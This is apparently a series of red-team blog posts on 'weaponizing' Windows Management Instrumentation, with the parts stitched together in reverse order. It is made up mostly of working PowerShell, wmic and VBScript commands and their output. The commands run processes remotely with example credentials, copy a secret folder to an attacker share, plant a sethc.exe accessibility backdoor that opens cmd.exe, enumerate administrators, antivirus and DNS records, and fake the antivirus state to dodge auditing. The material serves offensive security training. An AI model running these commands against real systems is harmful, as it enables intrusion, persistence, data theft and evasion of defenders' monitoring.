__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

So now we have shown that is possible to remotely create a service on a host without binding to the service controller on the remote host.

File Manipulation

File manipulation is also possible and made MUCH simpler and easier via the CIM classes. In this instance the CIM_DataFile is going to be our friend.

Let’s start off with a simple example:

$File = Get-WmiObject -Query "SELECT * FROM CIM_DataFile WHERE Name = 'C:\\Windows\\System.ini'" -ComputerName 10.1.1.1

We selected all attributes from the CIM_DataFile class for the system.ini file and placed them in the variable $File.

$File
Compressed : False
Encrypted  : False
Size       :
Hidden     : False
Name       : c:\windows\system.ini
Readable   : True
System     : False
Version    :
Writeable  : True

That’s interesting, we have more information about the attributes of the system.ini file.

Let’s what else is accessible via that variable.

$File | gm
   TypeName: System.Management.ManagementObject#root\cimv2\CIM_DataFile

Name                        MemberType    Definition                                                      
----                        ----------    ----------                                                       
PSComputerName              AliasProperty PSComputerName = __SERVER                                       
ChangeSecurityPermissions   Method        System.Management.ManagementBaseObject ChangeSecurityPermissio...
ChangeSecurityPermissionsEx Method        System.Management.ManagementBaseObject ChangeSecurityPermissio...
Compress                    Method        System.Management.ManagementBaseObject Compress()               
CompressEx                  Method        System.Management.ManagementBaseObject CompressEx(System.Strin...
Copy                        Method        System.Management.ManagementBaseObject Copy(System.String File...
CopyEx                      Method        System.Management.ManagementBaseObject CopyEx(System.String Fi...
Delete                      Method        System.Management.ManagementBaseObject Delete()                 
DeleteEx                    Method        System.Management.ManagementBaseObject DeleteEx(System.String ...
GetEffectivePermission      Method        System.Management.ManagementBaseObject GetEffectivePermission(...
Rename                      Method        System.Management.ManagementBaseObject Rename(System.String Fi...
TakeOwnerShip               Method        System.Management.ManagementBaseObject TakeOwnerShip()          
TakeOwnerShipEx             Method        System.Management.ManagementBaseObject TakeOwnerShipEx(System....
Uncompress                  Method        System.Management.ManagementBaseObject Uncompress()             
UncompressEx                Method        System.Management.ManagementBaseObject UncompressEx(System.Str...
AccessMask                  Property      uint32 AccessMask {get;set;}                                     
Archive                     Property      bool Archive {get;set;}                                         
Caption                     Property      string Caption {get;set;}                                       
Compressed                  Property      bool Compressed {get;set;}                                      
CompressionMethod           Property      string CompressionMethod {get;set;}                             
CreationClassName           Property      string CreationClassName {get;set;}                             
CreationDate                Property      string CreationDate {get;set;}                                  
CSCreationClassName         Property      string CSCreationClassName {get;set;}                            
CSName                      Property      string CSName {get;set;}                                        
Description                 Property      string Description {get;set;}                                   
Drive                       Property      string Drive {get;set;}                                         
EightDotThreeFileName       Property      string EightDotThreeFileName {get;set;}                         
Encrypted                   Property      bool Encrypted {get;set;}                                       
EncryptionMethod            Property      string EncryptionMethod {get;set;}                              
Extension                   Property      string Extension {get;set;}                                      
FileName                    Property      string FileName {get;set;}                                      
FileSize                    Property      uint64 FileSize {get;set;}                                      
FileType                    Property      string FileType {get;set;}                                      
[Truncated]
PSStatus                    PropertySet   PSStatus {Status, Name}                                         
ConvertFromDateTime         ScriptMethod  System.Object ConvertFromDateTime();                            
ConvertToDateTime           ScriptMethod  System.Object ConvertToDateTime();

Yikes! When I first ran that, I was genuinely surprised how much was available.
I wonder if we can remotely copy a file on the remote system:

$file.copy("C:\\System.ini")

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

Coooool, and just to verify that it was copied.

Get-WmiObject -Class CIM_DataFile -Filter "Name = 'c:\\system.ini'"

Compressed : False
Encrypted  : False
Size       :
Hidden     : False
Name       : c:\system.ini
Readable   : True
System     : False
Version    :
Writeable  : True

This process isn’t just limited to just files, we can do the same to directories:

$Folder = Get-WmiObject -Query "SELECT * FROM Win32_Directory WHERE Name = 'C:\\SuperSecretFolder'"

$Folder.Copy('\\AttackerSystem\SHARE\MineNow')

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

List Directory File Contents

It is also possible to list the files in a directory:

Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'"

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\bootnxt
Readable   : True
System     : True
Version    :
Writeable  : True

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\pagefile.sys
Readable   : True
System     : True
Version    :
Writeable  : True

Compressed : False
Encrypted  : False
Size       :
Hidden     : True
Name       : c:\swapfile.sys
Readable   : True
System     : True
Version    :
Writeable  : True

Or more succinctly:

(Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'").Name

c:\pagefile.sys
c:\swapfile.sys

Huh, it even shows hidden system files.

List Files and Sub Directories

PS C:\Users\aleary> Get-CimInstance -Query "SELECT * FROM Win32_Directory WHERE Drive = 'C:' AND Path = '\\'"

Name              Hidden Archive Writeable LastModified
----              ------ ------- --------- ------------
c:\$getcurrent    True   False   True      2/21/2017 11:07:20 AM
c:\$recycle.bin   True   False   True      3/9/2017 12:18:45 PM
c:\documents ...  True   False   True      11/17/2015 7:46:04 PM
c:\go             False  True    True      7/7/2016 10:27:13 AM
c:\msocache       True   False   False     9/11/2016 12:20:52 AM
c:\program files  False  False   False     3/8/2017 2:26:24 PM
c:\program fi...  False  False   False     2/20/2017 9:22:27 PM
c:\programdata    True   False   True      3/21/2017 9:45:46 AM
c:\python27       False  True    True      7/8/2016 3:43:42 PM
c:\recovery       True   False   True      12/7/2016 10:18:35 AM
c:\system vol...  True   False   True      3/27/2017 8:58:03 PM
c:\temp           False  False   True      3/24/2017 3:13:06 PM
c:\users          False  False   False     3/9/2017 12:17:24 PM
c:\windows        False  False   True      3/27/2017 10:10:51 PM

Registry Manipulation

Like the service controller and admin shares before, it is also possible to interact with the registry while avoiding SMB.

Let’s look to see if the accessibility options on the remote system have been hooked.

[uint32]$HKLM = 2147483650
$Key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"

(Invoke-WmiMethod -Class StdRegProv -Name EnumKey -ArgumentList $HKLM, $Key).sNames | Select-String sethc.exe

Nope, well let’s fix that:

Invoke-WmiMethod -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, "$Key\sethc.exe"

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

Key created, now for the entry:

Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgumentList $HKLM, "$Key\sethc.exe", "cmd.exe", "Debugger"

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : 0
PSComputerName   :

As we can see, even if port 445 is inaccessible, it is still possible to preform many of the same functions over WMI.

In the next post we will explore how other administrative functions can be leveraged to gain access to files.

Back

Getting Started with WMI Weaponization – Part 2

Exploring WMI Classes, Properties, and Methods

What is a WMI class?

A WMI class, such as Win32_Process is a grouping of like properties and methods. Using SQL as an analogy, a property is like a SQL column and a method is similar to a stored procedure.

Exploring WMI Classes

Using CIM, it is possible to easily explore classes with the Get-CimClass command. For those systems that do not yet have the CIM commandlets, Get-WmiObject -list will also work. These commands make it quite simple to explore what is available in WMI on a given system. Let’s start by looking how many WMI classes there are on the system.

Get-CimClass | Measure-Object

Count : 1513
Average :
Sum :
Maximum :
Minimum :
Property :

There are 1,513 WMI classes on this system. Lets try to filter out some to find one’s that are useful for our current task at hand by searching for the keyword process.

Get-CimClass -ClassName *process* | Measure-Object

Count : 43
Average :
Sum :
Maximum :
Minimum :
Property :

Get-CimClass -ClassName *process*

 NameSpace: ROOT/CIMV2
CimClassName                        CimClassMethods      CimClassProperties
------------                        ---------------      ------------------
Win32_ProcessTrace                  {}                   {SECURITY_DESCRIPTOR, TIME_CREATED, ParentProcessID, Proces...
Win32_ProcessStartTrace             {}                   {SECURITY_DESCRIPTOR, TIME_CREATED, ParentProcessID, Proces...
Win32_ProcessStopTrace              {}                   {SECURITY_DESCRIPTOR, TIME_CREATED, ParentProcessID, Proces...
CIM_ProcessExecutable               {}                   {Antecedent, Dependent, BaseAddress, GlobalProcessCount...}
Win32_SessionProcess                {}                   {Antecedent, Dependent}
CIM_AssociatedProcessorMemory       {}                   {Antecedent, Dependent, BusSpeed}
Win32_AssociatedProcessorMemory     {}                   {Antecedent, Dependent, BusSpeed}
CIM_Processor                       {SetPowerState, R... {Caption, Description, InstallDate, Name...}
Win32_Processor                     {SetPowerState, R... {Caption, Description, InstallDate, Name...}
CIM_Process                         {}                   {Caption, Description, InstallDate, Name...}
Win32_Process                       {Create, Terminat... {Caption, Description, InstallDate, Name...}
Win32_ComputerSystemProcessor       {}                   {GroupComponent, PartComponent}
Win32_SystemProcesses               {}                   {GroupComponent, PartComponent}
CIM_ProcessThread                   {}                   {GroupComponent, PartComponent}
CIM_OSProcess                       {}                   {GroupComponent, PartComponent}
Win32_NamedJobObjectProcess         {}                   {Collection, Member}
[TRUNCATED]
Win32_PerfRawData_WorkerVpProvid... {}                   {Caption, Description, Name, Frequency_Object...}

That returned 43 WMI classes. In this case lets look for only WMI classes that have a associated methods.

Get-CimClass | Where-Object CimClassMethods -NotLike {} | Measure-Object

Count : 210
Average :
Sum :
Maximum :
Minimum :
Property :

In total there are 210 WMI classes on this system with an associated method. Lets see how many there are if we combine the two filters.

Get-CimClass -ClassName *process* | Where-Object CimClassMethods -NotLike {} | Measure-Object

Count : 3
Average :
Sum :
Maximum :
Minimum :
Property :


Get-CimClass -ClassName *process* | Where-Object CimClassMethods -NotLike {}

 NameSpace: ROOT/cimv2

CimClassName    CimClassMethods      CimClassProperties
------------    ---------------      ------------------
CIM_Processor   {SetPowerState, R... {Caption, Description, InstallDate, Name...}
Win32_Processor {SetPowerState, R... {Caption, Description, InstallDate, Name...}
Win32_Process   {Create, Terminat... {Caption, Description, InstallDate, Name...}

Of these, the Win32_Process class looks to be the most promising, lets look more closely at this one.

Get-CimClass -ClassName Win32_Process

 NameSpace: ROOT/cimv2
CimClassName     CimClassMethods      CimClassProperties
------------     ---------------      ------------------
Win32_Process    {Create, Terminat... {Caption, Description, InstallDate, Name...}

Looking at the output of this command, we can see that there are several classes and properties.

A closer look at the methods shows that there are six methods in addition to the previously used one. The command also shows the parameters that are used in each method.

(Get-CimClass -ClassName Win32_Process).CimClassMethods
Name                    ReturnType Parameters                                                            Qualifiers
----                    ---------- ----------                                                            ----------
Create                      UInt32 {CommandLine, CurrentDirectory, ProcessStartupInformation, ProcessId} {Constructo...
Terminate                   UInt32 {Reason}                                                              {Destructor...
GetOwner                    UInt32 {Domain, User}                                                        {Implemente...
GetOwnerSid                 UInt32 {Sid}                                                                 {Implemente...
SetPriority                 UInt32 {Priority}                                                            {Implemente...
AttachDebugger              UInt32 {}                                                                    {Implemente...
GetAvailableVirtualSize     UInt32 {AvailableVirtualSize}                                                {Implemente...

There are 45 properties available in this class to query to enumerate additional information about the system.

(Get-CimClass -ClassName Win32_Process).CimClassProperties.Name

Caption
Description
InstallDate
Name
Status
[Truncated]
ThreadCount
VirtualSize
WindowsVersion
WriteOperationCount
WriteTransferCount

Let’s look at a practical example of using these methods and properties together.

$Command = "PowerShell.exe -Command Start-Sleep -Seconds 180"
$Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
       CommandLine = $Command
}

$Result

ProcessId ReturnValue PSComputerName
--------- ----------- --------------
    17468           0

This sequence of commands is similar to the ones previously shown highlighting how WMI can be accessed. However, what we can also do is query WMI for the status of the started process and get additional information about it. Instead of using the Invoke-CimMethod command, we will use the Get-CimInstance command to access the WMI properties.

$Info = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = '$($Result.ProcessId)'"

$Info 
ProcessId Name           HandleCount WorkingSetSize VirtualSize   PSComputerName
--------- ----           ----------- -------------- -----------   --------------
42440     powershell.exe 452         54824960       2199659937792

$Info.CommandLine
PowerShell.exe -Command Start-Sleep -Seconds 180

Alternatively, this property query could be restructured to be done in a more SQL like syntax.

$CommandLine = Get-CimInstance -Query "SELECT CommandLine FROM Win32_Process WHERE ProcessId = '$($Result.ProcessId)'" 

$CommandLine.CommandLine
PowerShell.exe -Command Start-Sleep -Seconds 180

If WMI is a Web Service how can it be used remotely?

PowerShell, WMIC, and VBScript all have native ability to remotely execute queries and methods. Each approaches it in a different way. One important note is that in general remotely invoking WMI requires admin privileges on the remote system.

VBScript (1996)

With VBscript a connection string has to be built, where the remote system is specified. In this instance we specify an alternative set of credentials with the runas.exe command.

C:\> runas.exe /netonly /user:corp\user cmd.exe
Enter the password for corp\user:
C:\> type wmi.vbs
strComputer = "10.1.1.1"
strProcess  = "cmd.exe /c echo 'netspi' > C:\text.txt"

Set objWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!"_
       & "\\" & strComputer & "\root\cimv2:Win32_Process")
Error = objWMI.Create(strProcess, null, null, intProcessID)

Wscript.Echo "Process Id = " & intProcessID
Wscript.Echo "ReturnValue = " & Error

C:> cscript.exe wmi.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Process Id = 14040
ReturnValue = 0

wmic.exe (2001)

With wmic.exe a remote system can be targeted by specifying the /node: parameter. Optionally a separate set of credentials can be specified on the command line, if the user doesn’t want to use the current set of credentials. Optionally, runas can replace the command line usage of /user and /password.

wmic.exe /node:10.1.1.1 /user:corp\user /password:Password123 process call create "cmd.exe /c echo 'netspi' > C:\text.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 33900;
        ReturnValue = 0;
};

PowerShell Version 1+ (2006)

Beginning with PowerShell Version 1, the Get-WmiObject, Invoke-WmiMethod, and similar commands allowed for a credential object to be built and passed to commandlets as an alternative method of authentication. There are multiple ways to build a credential object, and the method below is one of the possible methods. To specify a remote system, the -ComputerName can be passed to the commandlet.

$Pass = ConvertTo-SecureString "Password123" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("corp\user", $Pass)
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value netspi";

Invoke-WmiMethod -Class Win32_Process -Name Create -ArguementList $Command -ComputerName 10.1.1.1 -Credential $Credential

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 2
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ProcessId        : 14612
ReturnValue      : 0
PSComputerName   : 10.1.1.1

PowerShell Version 3+ (2012)

In PowerShell Version 3, with the introduction of CIM commandlets, the execution of remote WMI we simplified further. CIM introduced the concept of CIM Sessions, which act similarly to PsSessions. These are persistent, and can be used across several WMI queries. Below, we build a credential object as we did before, but it is then used to establish a CIM Session, across which our queries are run.

$Pass = ConvertTo-SecureString "Password123" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("corp\user", $Pass)
$CimSession = New-CimSession -ComputerName 10.1.1.1 -Credential $Credential
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value netspi";

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
       CommandLine = $Command
} -CimSession $CimSession

ProcessId ReturnValue PSComputerName
--------- ----------- --------------
    17468           0       10.1.1.1

If WMI is also like SQL what else can be done with it?

Those familiar with SQL might be wondering if WQL has similar core functionality. SELECT queries are largely treated the same in SQL and WQL, and  JOIN’s are as well. In WQL they are not referred to as a JOIN, but instead as an ASSOCIATOR.

Let’s look at an example of this. WQL has the native functionality to query users and groups, but to get group membership we have to associate the users to the group. We will start off by querying WMI for the members of the local group Administrators.

$local = Get-WmiObject -Class Win32_Group -Filter "Name='Administrators'"
# or Get-WmiObject -Query "SELECT * FROM Win32_Group WHERE Name='Administrators'"

$local
Caption                       Domain         Name           SID
-------                       ------         ----           ---
TestSystem\Administrators     TestSystem     Administrators S-1-5-32-544

We can then take the result of that query and apply an associaters/join query to find who is a member of this group.

Get-WmiObject -Query "ASSOCIATORS OF {$($local.__RELPATH)} WHERE AssocClass=Win32_GroupUser"

AccountType : 512
Caption     : TestSystem\Administrator
Domain      : TestSystem
SID         : S-1-5-21-[REDACTED]-500
FullName    :
Name        : Administrator

AccountType : 512
Caption     : TestSystem\backup
Domain      : TestSystem
SID         : S-1-5-21-[REDACTED]-1047
FullName    :
Name        : backup

That’s cool, but not particularly user friendly. Fortunately, as with most of WMI, commands were simplified with the CIM commands. The same query could be restructured as:

$Group = Get-CimInstance -ClassName Win32_Group -Filter "Name='Administrators'" 
Get-CimAssociatedInstance -Association Win32_GroupUser -InputObject $Group

Name             Caption                      AccountType  SID          Domain
----             -------                      -----------  ---          ------
Administrator    TestSystem\Administrator     512          S-1-5-21-... TestSystem
backup           TestSystem\backup            512          S-1-5-21-... TestSystem

Or even more simply via the pipeline:

Get-CimInstance -ClassName Win32_Group -Filter "Name='Administrators'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Name             Caption                      AccountType  SID          Domain
----             -------                      -----------  ---          ------
Administrator    TestSystem\Administrator     512          S-1-5-21-... TestSystem
backup           TestSystem\backup            512          S-1-5-21-... TestSystem

The same process can be repeated against the domains:

$Domain = Get-WmiObject -Class Win32_Group -Filter "Domain = 'NETSPI' AND Name = 'Domain Admins'"
# or Get-WmiObject -Query "SELECT * FROM Win32_Group WHERE Domain = 'NETSPI' AND Name = 'Domain Admins'"

Get-WmiObject -Query "ASSOCIATORS OF {$($local.__RELPATH)} WHERE AssocClass=Win32_GroupUser"

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'NETSPI' AND Name='Domain Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Why might you want to use this approach? The net.exe command works well enough. Isn’t it more complicated to get the same information?

Using methods like these, it is possible to completely bypass command line auditing. If run from a remote system, the commands wont register on the targets command line. This can potentially bypass detective solutions that trigger on command line events. We are able to bypass those triggers because we are directly querying directory services. It is also possible to perform more advanced queries. For instance, finding users to target who have overlapping group membership.

WMI Namespaces

In SQL Server different databases can exist on the same system or instance. The analogous item in WMI to a database is a Namespace. Thus far all of the queries have been in the default ROOT/CIMV2 namespace, however, others exist. One such location is the SecurityCenter (XP and Prior) and SecurityCenter2 (Vista+). Using the security center namespace, it is possible to remotely query what security products are registered on the system. The three main categories are as follows:

FirewallProduct

Get-WmiObject -Namespace ROOT/SecurityCenter2 -Class FirewallProduct -ComputerName 10.1.1.1 -Credential $Credential

Get-WmiObject -Query "SELECT * FROM AntiVirusProduct" -NameSpace ROOT/SecurityCenter2 -ComputerName 10.1.1.1 -Credential $Credential

Get-CimInstance -Namespace ROOT/SecurityCenter2 -ClassName FirewallProduct -CimSession $CimSession

AntiSpywareProduct

Get-WmiObject -Namespace ROOT/SecurityCenter2 -Class AntiSpywareProduct -ComputerName 10.1.1.1 -Credential $Credential

Get-WmiObject -Query "SELECT * FROM AntiSpywareProduct" -NameSpace ROOT/SecurityCenter2 -ComputerName 10.1.1.1 -Credential $Credential

Get-CimInstance -Namespace ROOT/SecurityCenter2 -ClassName AntiSpywareProduct -CimSession $CimSession

AntiVirusProduct

Get-WmiObject -Namespace ROOT/SecurityCenter2 -Class AntiVirusProduct -ComputerName 10.1.1.1 -Credential $Credential

Get-WmiObject -Query "SELECT * FROM AntiVirusProduct" -NameSpace ROOT/SecurityCenter2 -ComputerName 10.1.1.1 -Credential $Credential

Get-CimInstance -Namespace ROOT/SecurityCenter2 -ClassName AntiVirusProduct -CimSession $CimSession

Let’s take a closer look at the AntiVirusProduct Class.

$av = Get-CimInstance -Namespace ROOT/SecurityCenter2 -ClassName AntiVirusProduct -CimSession $cimsession

$av
displayName              : Windows Defender
instanceGuid             : {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
pathToSignedProductExe   : %ProgramFiles%\Windows Defender\MSASCui.exe
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpeng.exe
productState             : 266240
timestamp                : Fri, 10 Feb 2017 00:03:38 GMT
PSComputerName           : 10.1.1.1

Here it we can see that Windows Defender is installed on the system.

There are other areas in which can be explored. Most roles that I have seen installed on servers install a WMI namespace. Active Directory is no different. On a recent Red Team engagement, we were looking for target systems without triggering an alert by initiating an AXFR. The solution? A WMI query for the A and PTR records stored on the system.

A Records

Get-WmiObject -NameSpace ROOT/MicrosoftDNS -Class MicrosoftDNS_AType -ComputerName 10.1.1.1 -Credential $Credential

Get-WmiObject -NameSpace ROOT/MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_AType" -ComputerName 10.1.1.1 -Credential $Credential

Get-CimInstance -NameSpace ROOT/MicrosoftDNS -ClassName MicrosoftDNS_AType -CimSession $CimSession

PTR Records

Get-WmiObject -NameSpace ROOT/MicrosoftDNS -Class MicrosoftDNS_PTRType -ComputerName 10.1.1.1 -Credential $Credential

Get-WmiObject -NameSpace ROOT/MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_PTRType" -ComputerName 10.1.1.1 -Credential $Credential

Get-CimInstance -NameSpace ROOT/MicrosoftDNS -ClassName MicrosoftDNS_PTRType -CimSession $CimSession

Using this command, we were able to enumerate all the systems registered in DNS and find the target we were tasked with finding.

$ARecords = Get-WmiObject -NameSpace ROOT/MicrosoftDNS -Class MicrosoftDNS_PTRType -ComputerName 10.1.1.1 -Credential $Credential

$ARecords | Export-CSV -Path ARecords.CSV

{Get; Set;}

Some WMI classes have properties that can be set without invoking a method. Looking into the AntiVirusProduct further, we can see that there is a product state property.

$av.GetProductState.ToString("X6")

041000

Converting the Product state to Hex we see that it is set to 060110. Some research will reveal that this indicates that the product is both running a up to day. However, we can remotely change the reported product state to disabled. Your mileage will vary with this one.

$av.productState = 393472

$av.productState.ToString("X6")

060100

WMI Class Creation

Let’s first look at how to create a customized WMI Class. The process is surprisingly simple and straightforward.

First we create a class object:

$Class = New-Object System.Management.ManagementClass("root\cimv2", [String]::Empty, $null);

Then we assign it properties:

$Class["__CLASS"] = "MyClass";

$Class.Qualifiers.Add("Static", $true)

$Class.Properties.Add("MyKey", [System.Management.CimType]::String, $false)

$Class.Properties["MyKey"].Qualifiers.Add("Key", $true)

Finally, we push it to WMI:

$Class.Put()

Path : \\.\root\cimv2:MyClass
RelativePath : MyClass
Server : .
NamespacePath : root\cimv2
ClassName : MyClass
IsClass : True
IsInstance : False
IsSingleton : False

Get-CimClass -ClassName MyClass

 NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
MyClass      {}              {MyKey}

So now we have a class, but there is no data in it. Data in WMI is stored as instances of the class, to place data in it we must start creating instances of it. To this we use the Set-WmiInstance method in PowerShell.

Set-WmiInstance -Class MyClass -Arguments @{MyKey = "MyValue"; }

__GENUS : 2
__CLASS : MyClass
__SUPERCLASS :
__DYNASTY : MyClass
__RELPATH : MyClass.MyKey="MyValue"
__PROPERTY_COUNT : 1
__DERIVATION : {}
__SERVER : .
__NAMESPACE : ROOT\cimv2
__PATH : \\.\ROOT\cimv2:MyClass.MyKey="MyValue"
MyKey : MyValue
PSComputerName : .

In the next post, we are going to look at how several common administrative tasks normal performed over SMB can be accomplished via WMI.

Back

Getting Started with WMI Weaponization – Part 1

A Brief History of WMI

What is WMI?

Windows Management Instrumentation (WMI) is a Microsoft management protocol derived from the Web-Based Enterprise Management (WBEM) protocol. WMI is a web service that can perform management operations on the host operating system. It has also been a part of Windows since Windows 95 where it was available as an optional feature. Since Windows 98, WMI has been included by default. WMI primarily operates through Windows Management Instrumentation Query Language (WQL), which is a SQL like language that is used to access WMI. WMI being a web service, it can be accessed remotely on any system running the winmgmt service.

Wmi

How can WMI be accessed?

VBScript (1996)

Originally, the only way to easily access WMI was via VBScript or similar Microsoft scripting. Below is a simple VBScript that uses the Win32_Process class to create a text file that contains the string netspi.

C:> type wmi.vbs
strProcess = "cmd.exe /c echo 'netspi' > C:text.txt"

Set objWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!"_
       & ".rootcimv2:Win32_Process")
Error = objWMI.Create(strProcess, null, null, intProcessID)

Wscript.Echo "Process Id = " & intProcessID
Wscript.Echo "ReturnValue = " & Error

C:> cscript.exe wmi.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Process Id = 14040
ReturnValue = 0

wmic.exe (2001)

With Windows XP / 2003, Microsoft began shipping wmic.exe with the OS. wmic is a command line interface for use with WMI. WMIC can be run in an interactive mode or via one liners. People in the offensive security field might be familiar with the one liner command:

wmic.exe process call create "cmd.exe /c echo 'netspi' > C:text.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 910124;
        ReturnValue = 0;
};

Breaking this command down, the Win32_Process (process) class is being invoked, while calling (call) and the create (create) method. The command cmd.exe /c echo ‘netspi’ > C:text.txt is being supplied as an argument to the create method and will be run.

PowerShell Version 1+ (2006)

With Windows XP / 2003 / Vista / 2008, PowerShell started being introduced. With PowerShell 1.0, several WMI commands were introduced. For now, we are going to focus on just two of them: Get-WmiObject and Invoke-WmiMethod. Get-WmiObject is used to access class properties (read things) and Invoke-WmiMethod is used to invoke the methods (change things).

The previous command could have been replaced with:

$Command = "powershell.exe -Command Set-Content -Path C:text.txt -Value netspi";

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $Command

__GENUS : 2
__CLASS : __PARAMETERS
__SUPERCLASS :
__DYNASTY : __PARAMETERS
__RELPATH :
__PROPERTY_COUNT : 2
__DERIVATION : {}
__SERVER :
__NAMESPACE :
__PATH :
ProcessId : 892796
ReturnValue : 0
PSComputerName :

In this command, we largely follow the procedure that was used in wmic to access the Win32_Process class to invoke the create method. One important note for this command is that with Invoke-WmiMethod the argument are positional parameters.

PowerShell Version 3+ (2012)

In PowerShell Version 3, CIM commands were introduced that even further simplified the use of WMI/CIM, and introduced the concept of reusable CIM sessions and named arguments.

$Command = "powershell.exe -Command Set-Content -Path C:text.txt -Value netspi";

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
   CommandLine = $Command
}

ProcessId ReturnValue PSComputerName
--------- ----------- --------------
 911900 0

In the next blog, we will cover the basics of using WMI, how to discover useful classes, and how commands can be remotely run.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X